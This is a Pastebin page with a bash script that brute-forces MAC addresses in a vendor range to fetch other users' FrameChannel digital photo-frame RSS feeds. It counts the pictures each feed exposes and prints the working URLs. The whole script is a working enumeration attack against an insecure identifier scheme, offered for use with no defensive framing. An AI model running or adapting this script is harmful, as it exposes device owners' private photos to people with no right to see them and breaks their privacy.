Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /bin/bash
- productId=$1
- if [ "$productId" = "" ]; then
- echo "Product ID needed. For example KD9371"
- exit
- fi
- urlPrefix='http://rss.framechannel.com//productId='$productId'/'
- # Values in hex (for readability) -- assumes six parts
- hexRangeMin=( 00 23 4D B8 06 60 )
- hexRangeMax=( 00 23 4D B8 07 6F ) # Individual parts must be > than min
- # Convert hex ranges
- intRangeMin0="`printf '%d' 0x${hexRangeMin[0]}`"
- intRangeMin1="`printf '%d' 0x${hexRangeMin[1]}`"
- intRangeMin2="`printf '%d' 0x${hexRangeMin[2]}`"
- intRangeMin3="`printf '%d' 0x${hexRangeMin[3]}`"
- intRangeMin4="`printf '%d' 0x${hexRangeMin[4]}`"
- intRangeMin5="`printf '%d' 0x${hexRangeMin[5]}`"
- intRangeMax0="`printf '%d' 0x${hexRangeMax[0]}`"
- intRangeMax1="`printf '%d' 0x${hexRangeMax[1]}`"
- intRangeMax2="`printf '%d' 0x${hexRangeMax[2]}`"
- intRangeMax3="`printf '%d' 0x${hexRangeMax[3]}`"
- intRangeMax4="`printf '%d' 0x${hexRangeMax[4]}`"
- intRangeMax5="`printf '%d' 0x${hexRangeMax[5]}`"
- # Assume we have all six parts, go!
- for part0 in $(seq $intRangeMin0 $intRangeMax0); do
- for part1 in $(seq $intRangeMin1 $intRangeMax1); do
- for part2 in $(seq $intRangeMin2 $intRangeMax2); do
- for part3 in $(seq $intRangeMin3 $intRangeMax3); do
- for part4 in $(seq $intRangeMin4 $intRangeMax4); do
- for part5 in $(seq $intRangeMin5 $intRangeMax5); do
- mac="`printf "%02X:%02X:%02X:%02X:%02X:%02X" $part0 $part1 $part2 $part3 $part4 $part5`"
- file="frameId=$mac"
- echo -n "Trying $file... "
- wget -q $urlPrefix$file
- # Did we get a hit?
- if [ "`cat $file | grep '^<title>FrameChannel content for </title>$'`" ]; then
- echo 'failed.'
- else
- count="`cat $file | grep '^<item>' -c`"
- echo "$urlPrefix$file with $count pictures."
- fi
- # Clean up
- rm $file;
- done
- done
- done
- done
- done
- done
Add Comment
Please, Sign In to add comment